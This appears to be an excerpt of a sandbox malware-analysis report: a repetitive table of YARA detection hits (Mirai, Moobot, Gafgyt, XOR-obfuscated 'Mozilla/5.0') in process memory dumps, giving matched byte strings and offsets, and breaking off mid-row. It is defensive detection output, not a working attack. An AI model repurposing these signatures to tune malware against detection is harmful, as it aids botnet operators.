39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6734.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6918.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6918.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6918.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6918.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6918.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6918.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7104.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7104.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7104.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7104.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7104.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7104.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7014.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6554.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7459.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7459.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7459.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7459.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7459.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7459.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6917.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6917.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6917.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6917.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6917.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6917.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6956.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6956.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6956.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7402.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6956.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6956.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6956.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6795.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6795.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6795.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6795.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6795.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 